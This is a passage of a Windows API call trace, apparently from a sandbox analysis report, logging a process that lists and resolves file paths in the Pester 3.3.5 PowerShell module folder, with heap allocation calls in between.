dwFlags=0x0, lpMem=0x2aa2a98 | out: hHeap=0x2ad0000) returned 1 [0231.243] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881150, Size=0x20) returned 0x37340c0 [0231.244] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Describe.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\describe.tests.ps1")) returned 0x20 [0231.244] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de958 | out: hHeap=0x2ad0000) returned 1 [0231.244] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\In.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\in.ps1")) returned 0x20 [0231.244] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a27d0 | out: hHeap=0x2ad0000) returned 1 [0231.244] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\In.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\in.tests.ps1")) returned 0x20 [0231.245] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2978 | out: hHeap=0x2ad0000) returned 1 [0231.245] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\InModuleScope.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\inmodulescope.ps1")) returned 0x20 [0231.245] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0231.245] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x37340c0, Size=0x40) returned 0x3887800 [0231.245] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\InModuleScope.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\inmodulescope.tests.ps1")) returned 0x20 [0231.245] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de6e8 | out: hHeap=0x2ad0000) returned 1 [0231.246] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\It.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\it.ps1")) returned 0x20 [0231.246] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a22a8 | out: hHeap=0x2ad0000) returned 1 [0231.246] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\It.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\it.tests.ps1")) returned 0x20 [0231.246] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2bb8 | out: hHeap=0x2ad0000) returned 1 [0231.246] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Mock.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\mock.ps1")) returned 0x20 [0231.247] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2618 | out: hHeap=0x2ad0000) returned 1 [0231.247] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Mock.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\mock.tests.ps1")) returned 0x20 [0231.247] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2858 | out: hHeap=0x2ad0000) returned 1 [0231.248] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\New-Fixture.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\new-fixture.ps1")) returned 0x20 [0231.248] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2858 | out: hHeap=0x2ad0000) returned 1 [0231.248] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\New-Fixture.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\new-fixture.tests.ps1")) returned 0x20 [0231.248] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0231.248] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\PesterState.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\pesterstate.ps1")) returned 0x20 [0231.249] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2c78 | out: hHeap=0x2ad0000) returned 1 [0231.249] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3887800, Size=0x64) returned 0x2a19658 [0231.249] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\PesterState.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\pesterstate.tests.ps1")) returned 0x20 [0231.249] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0231.249] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\SetupTeardown.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\setupteardown.ps1")) returned 0x20 [0231.249] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0231.250] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\SetupTeardown.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\setupteardown.tests.ps1")) returned 0x20 [0231.250] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0231.250] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\TestDrive.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\testdrive.ps1")) returned 0x20 [0231.250] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2738 | out: hHeap=0x2ad0000) returned 1 [0231.250] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\TestDrive.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\testdrive.tests.ps1")) returned 0x20 [0231.251] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de6e8 | out: hHeap=0x2ad0000) returned 1 [0231.251] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\TestResults.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\testresults.ps1")) returned 0x20 [0231.251] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2d38 | out: hHeap=0x2ad0000) returned 1 [0231.251] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\TestResults.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\testresults.tests.ps1")) returned 0x20 [0231.251] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de6e8 | out: hHeap=0x2ad0000) returned 1 [0231.251] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\TestsRunningInCleanRunspace.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\testsrunningincleanrunspace.tests.ps1")) returned 0x20 [0231.252] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea310 | out: hHeap=0x2ad0000) returned 1 [0231.252] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0231.252] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Context.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Context.ps1", lpFilePart=0x9bada4*="Context.ps1") returned 0x53 [0231.252] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0231.252] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Context.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Context.Tests.ps1", lpFilePart=0x9bada4*="Context.Tests.ps1") returned 0x59 [0231.252] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0231.252] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0231.252] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0231.253] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0231.253] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Coverage.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Coverage.ps1", lpFilePart=0x9bada4*="Coverage.ps1") returned 0x54 [0231.253] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0231.253] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Coverage.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Coverage.Tests.ps1", lpFilePart=0x9bada4*="Coverage.Tests.ps1") returned 0x5a [0231.253] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0231.253] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0231.253] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0231.253] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0231.253] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Describe.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Describe.ps1", lpFilePart=0x9bada4*="Describe.ps1") returned 0x54 [0231.254] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0231.254] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Describe.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Describe.Tests.ps1", lpFilePart=0x9bada4*="Describe.Tests.ps1") returned 0x5a [0231.254] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\In.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\In.ps1", lpFilePart=0x9bada4*="In.ps1") returned 0x4e [0231.254] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0231.254] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\In.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\In.Tests.ps1", lpFilePart=0x9bada4*="In.Tests.ps1") returned 0x54 [0231.254] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\InModuleScope.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\InModuleScope.ps1", lpFilePart=0x9bada4*="InModuleScope.ps1") returned 0x59 [0231.254] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0231.255] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\InModuleScope.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\InModuleScope.Tests.ps1", lpFilePart=0x9bada4*="InModuleScope.Tests.ps1") returned 0x5f [0231.255] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\It.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\It.ps1", lpFilePart=0x9bada4*="It.ps1") returned 0x4e [0231.255] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0231.255] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\It.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\It.Tests.ps1", lpFilePart=0x9bada4*="It.Tests.ps1") returned 0x54 [0231.255] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Mock.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Mock.ps1", lpFilePart=0x9bada4*="Mock.ps1") returned 0x50 [0231.255] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0231.256] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Mock.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Mock.Tests.ps1", lpFilePart=0x9bada4*="Mock.Tests.ps1") returned 0x56 [0231.256] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\New-Fixture.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\New-Fixture.ps1", lpFilePart=0x9bada4*="New-Fixture.ps1") returned 0x57 [0231.256] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0231.256] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\New-Fixture.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\New-Fixture.Tests.ps1", lpFilePart=0x9bada4*="New-Fixture.Tests.ps1") returned 0x5d [0231.256] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\PesterState.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\PesterState.ps1", lpFilePart=0x9bada4*="PesterState.ps1") returned 0x57 [0231.256] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0231.257] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\PesterState.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\PesterState.Tests.ps1", lpFilePart=0x9bada4*="PesterState.Tests.ps1") returned 0x5d [0231.257] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\SetupTeardown.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\SetupTeardown.ps1", lpFilePart=0x9bada4*="SetupTeardown.ps1") returned 0x59 [0231.257] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0231.257] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\SetupTeardown.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\SetupTeardown.Tests.ps1", lpFilePart=0x9bada4*="SetupTeardown.Tests.ps1") returned 0x5f [0231.257] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\TestDrive.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\TestDrive.ps1", lpFilePart=0x9bada4*="TestDrive.ps1") returned 0x55 [0231.257] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0231.257] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\TestDrive.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\TestDrive.Tests.ps1", lpFilePart=0x9bada4*="TestDrive.Tests.ps1") returned 0x5b [0231.258] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\TestResults.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\TestResults.ps1", lpFilePart=0x9bada4*="TestResults.ps1") returned 0x57 [0231.258] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0231.258] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\TestResults.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\TestResults.Tests.ps1", lpFilePart=0x9bada4*="TestResults.Tests.ps1") returned 0x5d [0231.258] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\TestsRunningInCleanRunspace.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\TestsRunningInCleanRunspace.Tests.ps1", lpFilePart=0x9bada4*="TestsRunningInCleanRunspace.Tests.ps1") returned 0x6d [0231.258] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0231.258] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\*.*", lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8a7f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3541bad, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f72d0 [0231.273] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8a7f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3541bad, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0231.274] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x356e, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="Be.ps1", cAlternateFileName="")) returned 1 [0231.274] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x339d, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="Be.Tests.ps1", cAlternateFileName="")) returned 1 [0231.274] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2794, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="BeGreaterThan.ps1", cAlternateFileName="")) returned 1 [0231.274] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x281d, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="BeGreaterThan.Tests.ps1", cAlternateFileName="")) returned 1 [0231.274] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="BeLessThan.ps1", cAlternateFileName="")) returned 1 [0231.274] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x280c, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="BeLessThan.Tests.ps1", cAlternateFileName="")) returned 1 [0231.275] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511a169b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2861, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="BeNullOrEmpty.ps1", cAlternateFileName="")) returned 1 [0231.275] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27f8, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="BeNullOrEmpty.Tests.ps1", cAlternateFileName="")) returned 1 [0231.275] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27c2, 